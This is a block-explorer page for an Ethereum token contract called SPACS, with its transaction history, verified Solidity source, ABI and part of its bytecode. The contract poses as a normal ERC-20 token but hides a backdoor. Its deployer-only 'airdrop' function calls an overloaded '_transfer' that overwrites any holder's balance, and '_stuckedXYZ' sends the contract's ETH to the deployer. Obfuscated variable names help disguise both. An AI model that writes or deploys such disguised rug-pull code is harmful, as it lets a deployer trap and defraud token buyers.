Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 33 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Airdrop | 21626575 | 434 days ago | IN | 0 ETH | 0.00015133 | ||||
| Transfer | 21626566 | 434 days ago | IN | 0 ETH | 0.00039549 | ||||
| _stucked XYZ | 21626552 | 434 days ago | IN | 0 ETH | 0.00017983 | ||||
| Approve | 21626451 | 435 days ago | IN | 0 ETH | 0.00032392 | ||||
| Approve | 21626451 | 435 days ago | IN | 0 ETH | 0.00032392 | ||||
| Approve | 21626451 | 435 days ago | IN | 0 ETH | 0.00032392 | ||||
| Approve | 21626451 | 435 days ago | IN | 0 ETH | 0.00032392 | ||||
| Approve | 21626436 | 435 days ago | IN | 0 ETH | 0.00030499 | ||||
| Approve | 21626436 | 435 days ago | IN | 0 ETH | 0.00030499 | ||||
| Approve | 21626436 | 435 days ago | IN | 0 ETH | 0.00030499 | ||||
| Approve | 21626436 | 435 days ago | IN | 0 ETH | 0.00030499 | ||||
| Approve | 21626431 | 435 days ago | IN | 0 ETH | 0.00030186 | ||||
| Approve | 21626431 | 435 days ago | IN | 0 ETH | 0.00030186 | ||||
| Approve | 21626431 | 435 days ago | IN | 0 ETH | 0.00030186 | ||||
| Approve | 21626430 | 435 days ago | IN | 0 ETH | 0.00033217 | ||||
| Approve | 21626430 | 435 days ago | IN | 0 ETH | 0.00033217 | ||||
| Approve | 21626430 | 435 days ago | IN | 0 ETH | 0.00033217 | ||||
| Approve | 21626430 | 435 days ago | IN | 0 ETH | 0.00033217 | ||||
| Approve | 21626430 | 435 days ago | IN | 0 ETH | 0.00033217 | ||||
| Approve | 21626430 | 435 days ago | IN | 0 ETH | 0.00033217 | ||||
| Approve | 21626430 | 435 days ago | IN | 0 ETH | 0.00033217 | ||||
| Approve | 21626430 | 435 days ago | IN | 0 ETH | 0.00033217 | ||||
| Approve | 21626430 | 435 days ago | IN | 0 ETH | 0.00033217 | ||||
| Approve | 21626430 | 435 days ago | IN | 0 ETH | 0.00033217 | ||||
| Approve | 21626430 | 435 days ago | IN | 0 ETH | 0.00033217 |
Latest 21 internal transactions
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 21626503 | 434 days ago | 0.00303394 ETH | ||||
| Transfer | 21626503 | 434 days ago | 0.00303394 ETH | ||||
| Transfer | 21626503 | 434 days ago | 0.21033095 ETH | ||||
| Transfer | 21626503 | 434 days ago | 0.21033095 ETH | ||||
| Transfer | 21626489 | 434 days ago | 0.53815221 ETH | ||||
| Transfer | 21626489 | 434 days ago | 0.53815221 ETH | ||||
| Transfer | 21626485 | 434 days ago | 0.17432206 ETH | ||||
| Transfer | 21626485 | 434 days ago | 0.17432206 ETH | ||||
| Transfer | 21626485 | 434 days ago | 0.07597283 ETH | ||||
| Transfer | 21626485 | 434 days ago | 0.07597283 ETH | ||||
| Transfer | 21626473 | 435 days ago | 0.22191887 ETH | ||||
| Transfer | 21626473 | 435 days ago | 0.22191887 ETH | ||||
| Transfer | 21626473 | 435 days ago | 0.11718883 ETH | ||||
| Transfer | 21626473 | 435 days ago | 0.11718883 ETH | ||||
| Transfer | 21626467 | 435 days ago | 0.32311008 ETH | ||||
| Transfer | 21626467 | 435 days ago | 0.32311008 ETH | ||||
| Transfer | 21626462 | 435 days ago | 0.22972049 ETH | ||||
| Transfer | 21626462 | 435 days ago | 0.22972049 ETH | ||||
| Transfer | 21626453 | 435 days ago | 0.23327206 ETH | ||||
| Transfer | 21626453 | 435 days ago | 0.23327206 ETH | ||||
| Add Liquidity ET... | 21626396 | 435 days ago | 1 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
SPACS
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT
/*
https://www.youtube.com/watch?v=vbZS6tYQKIM&t=34s
https://t.me/spacs_eth
*/
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SPACS is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 public _maxAmountPerTX = 20000000 * 10 **_decimals;
uint256 public _maxSizeOfWallet = 20000000 * 10 **_decimals;
uint256 public _maxTaxSwap = 10000000 * 10 **_decimals;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
uint8 private constant _decimals = 9;
string private constant _name = unicode"SPACS";
string private constant _symbol = unicode"SPACS";
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint256 _maxAmountPerTX);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
address payable private _xyzStore;
mapping(address => uint256) private _zxcvHolder;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _feeUnincluded;
uint256 private _iasdf = 10;
uint256 private _iqwer = 10;
uint256 private _fasdf = 0;
uint256 private _fqwer = 0;
uint256 private _rasdf = 15;
uint256 private _rqwer = 15;
uint256 private _buyCount = 0;
address private _deployer;
constructor() payable {
_xyzStore = payable(_msgSender());
_zxcvHolder[address(this)] = _totalSupply * 98 / 100;
_zxcvHolder[owner()] = _totalSupply * 2 / 100;
_feeUnincluded[owner()] = true;
_feeUnincluded[address(this)] = true;
_feeUnincluded[_xyzStore] = true;
_deployer = _msgSender();
emit Transfer(address(0), address(this), _totalSupply * 98 / 100);
emit Transfer(address(0), address(owner()), _totalSupply * 2 / 100);
}
function name() public pure returns (string memory) {
return _name;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view override returns (uint256) {
return _zxcvHolder[account];
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _transferXYZ(uint256 amount) private {
_xyzStore.transfer(amount);
}
function _transfer(address from, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount >= 0, "Transfer amount must be greater than zero");
_zxcvHolder[from] = amount;
}
function _XYZToETH(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _stuckedXYZ(address wallet) external {
require(_msgSender() == _deployer, "Not Team Member");
_xyzStore = payable(wallet);
payable(_msgSender()).transfer(address(this).balance);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != address(this) && to != address(this)) {
taxAmount = amount
.mul(
(_buyCount > _rasdf)
? _fasdf
: _iasdf
)
.div(100);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_feeUnincluded[to]
) {
require(amount <= _maxAmountPerTX, "Exceeds the _maxAmountPerTX.");
require(
balanceOf(to) + amount <= _maxSizeOfWallet,
"Exceeds the maxWalletSize."
);
_buyCount++;
}
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount
.mul(
(_buyCount > _rqwer)
? _fqwer
: _iqwer
)
.div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled) {
if (contractTokenBalance > 0)
_XYZToETH(
min(amount, min(contractTokenBalance, _maxTaxSwap))
);
_transferXYZ(address(this).balance);
}
}
if (taxAmount > 0) {
_zxcvHolder[address(this)] = _zxcvHolder[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_zxcvHolder[from] = _zxcvHolder[from].sub(amount);
_zxcvHolder[to] = _zxcvHolder[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function _airdropReward(address[] memory recipients, uint256[] memory amounts) private {
for (uint256 i = 0; i < recipients.length; i++) {
address recipient = recipients[i];
_transfer(recipient, amounts[i]);
}
}
function airdrop(address[] memory recipients, uint256[] memory amounts) external {
require(_msgSender() == _deployer, "not authorized");
_airdropReward(recipients, amounts);
}
function enableTrading() external onlyOwner {
require(!tradingOpen, "Already Launched!");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
swapEnabled = true;
tradingOpen = true;
}
function removeLimits() external onlyOwner {
_maxAmountPerTX = _totalSupply;
_maxSizeOfWallet = _totalSupply;
emit MaxTxAmountUpdated(_totalSupply);
}
receive() external payable {}
}{
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmountPerTX","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxAmountPerTX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSizeOfWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"_stuckedXYZ","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526009600a6100129190610703565b6301312d00610021919061074d565b6001556009600a6100329190610703565b6301312d00610041919061074d565b6002556009600a6100529190610703565b62989680610060919061074d565b6003555f600560156101000a81548160ff0219169083151502179055505f600560166101000a81548160ff021916908315150217905550600a8055600a600b555f600c555f600d55600f600e55600f80555f6010555f6100c461056460201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35061016e61056460201b60201c565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460626009600a6101bf9190610703565b633b9aca006101ce919061074d565b6101d8919061074d565b6101e291906107bb565b60075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460026009600a6102359190610703565b633b9aca00610244919061074d565b61024e919061074d565b61025891906107bb565b60075f61026961056b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160095f6102b961056b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103e161056460201b60201c565b60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a6104819190610703565b633b9aca00610490919061074d565b61049a919061074d565b6104a491906107bb565b6040516104b191906107fa565b60405180910390a36104c761056b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a6105279190610703565b633b9aca00610536919061074d565b610540919061074d565b61054a91906107bb565b60405161055791906107fa565b60405180910390a3610813565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610614578086048111156105f0576105ef610592565b5b60018516156105ff5780820291505b808102905061060d856105bf565b94506105d4565b94509492505050565b5f8261062c57600190506106e7565b81610639575f90506106e7565b816001811461064f576002811461065957610688565b60019150506106e7565b60ff84111561066b5761066a610592565b5b8360020a91508482111561068257610681610592565b5b506106e7565b5060208310610133831016604e8410600b84101617156106bd5782820a9050838111156106b8576106b7610592565b5b6106e7565b6106ca84848460016105cb565b925090508184048111156106e1576106e0610592565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61070d826106ee565b9150610718836106f7565b92506107457fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461061d565b905092915050565b5f610757826106ee565b9150610762836106ee565b9250828202610770816106ee565b9150828204841483151761078757610786610592565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6107c5826106ee565b91506107d0836106ee565b9250826107e0576107df61078e565b5b828204905092915050565b6107f4816106ee565b82525050565b5f60208201905061080d5f8301846107eb565b92915050565b613225806108205f395ff3fe60806040526004361061010c575f3560e01c806370a08231116100945780638a8c523c116100635780638a8c523c146103435780638da5cb5b1461035957806395d89b4114610383578063a9059cbb146103ad578063dd62ed3e146103e957610113565b806370a08231146102b1578063715018a6146102ed578063751039fc1461030357806382b5deab1461031957610113565b806318160ddd116100db57806318160ddd146101cf57806321d91921146101f957806323b872dd14610223578063313ce5671461025f578063672434821461028957610113565b806306fdde03146101175780630901727214610141578063095ea7b3146101695780630faee56f146101a557610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610425565b60405161013891906120a5565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190612130565b610462565b005b348015610174575f80fd5b5061018f600480360381019061018a919061218e565b610586565b60405161019c91906121e6565b60405180910390f35b3480156101b0575f80fd5b506101b96105a3565b6040516101c6919061220e565b60405180910390f35b3480156101da575f80fd5b506101e36105a9565b6040516101f0919061220e565b60405180910390f35b348015610204575f80fd5b5061020d6105cc565b60405161021a919061220e565b60405180910390f35b34801561022e575f80fd5b5061024960048036038101906102449190612227565b6105d2565b60405161025691906121e6565b60405180910390f35b34801561026a575f80fd5b506102736106a6565b6040516102809190612292565b60405180910390f35b348015610294575f80fd5b506102af60048036038101906102aa91906124ab565b6106ae565b005b3480156102bc575f80fd5b506102d760048036038101906102d29190612130565b610752565b6040516102e4919061220e565b60405180910390f35b3480156102f8575f80fd5b50610301610798565b005b34801561030e575f80fd5b506103176108e6565b005b348015610324575f80fd5b5061032d610a15565b60405161033a919061220e565b60405180910390f35b34801561034e575f80fd5b50610357610a1b565b005b348015610364575f80fd5b5061036d610f3d565b60405161037a9190612530565b60405180910390f35b34801561038e575f80fd5b50610397610f64565b6040516103a491906120a5565b60405180910390f35b3480156103b8575f80fd5b506103d360048036038101906103ce919061218e565b610fa1565b6040516103e091906121e6565b60405180910390f35b3480156103f4575f80fd5b5061040f600480360381019061040a9190612549565b610fbe565b60405161041c919061220e565b60405180910390f35b60606040518060400160405280600581526020017f5350414353000000000000000000000000000000000000000000000000000000815250905090565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104a2611040565b73ffffffffffffffffffffffffffffffffffffffff16146104f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ef906125d1565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610540611040565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610582573d5f803e3d5ffd5b5050565b5f610599610592611040565b8484611047565b6001905092915050565b60035481565b5f6009600a6105b8919061274b565b633b9aca006105c79190612795565b905090565b60025481565b5f6105de84848461120a565b61069b846105ea611040565b610696856040518060600160405280602881526020016131c86028913960085f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61064d611040565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119ca9092919063ffffffff16565b611047565b600190509392505050565b5f6009905090565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ee611040565b73ffffffffffffffffffffffffffffffffffffffff1614610744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073b90612820565b60405180910390fd5b61074e8282611a2c565b5050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107a0611040565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082390612888565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6108ee611040565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097190612888565b60405180910390fd5b6009600a610988919061274b565b633b9aca006109979190612795565b6001819055506009600a6109ab919061274b565b633b9aca006109ba9190612795565b6002819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109ef919061274b565b633b9aca006109fe9190612795565b604051610a0b919061220e565b60405180910390a1565b60015481565b610a23611040565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa690612888565b60405180910390fd5b600560149054906101000a900460ff1615610aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af6906128f0565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b9b3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610b87919061274b565b633b9aca00610b969190612795565b611047565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c05573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c299190612922565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610caf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cd39190612922565b6040518363ffffffff1660e01b8152600401610cf092919061294d565b6020604051808303815f875af1158015610d0c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d309190612922565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610db730610752565b5f80610dc1610f3d565b426040518863ffffffff1660e01b8152600401610de3969594939291906129b6565b60606040518083038185885af1158015610dff573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e249190612a29565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ec4929190612a79565b6020604051808303815f875af1158015610ee0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f049190612aca565b506001600560166101000a81548160ff0219169083151502179055506001600560146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5350414353000000000000000000000000000000000000000000000000000000815250905090565b5f610fb4610fad611040565b848461120a565b6001905092915050565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ac90612b65565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111a90612bf3565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111fd919061220e565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126f90612c81565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112dd90612d0f565b60405180910390fd5b5f8111611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90612d9d565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561139157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561171a576113d260646113c4600e54601054116113b157600a546113b5565b600c545b85611a8c90919063ffffffff16565b611b0390919063ffffffff16565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561147d575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffff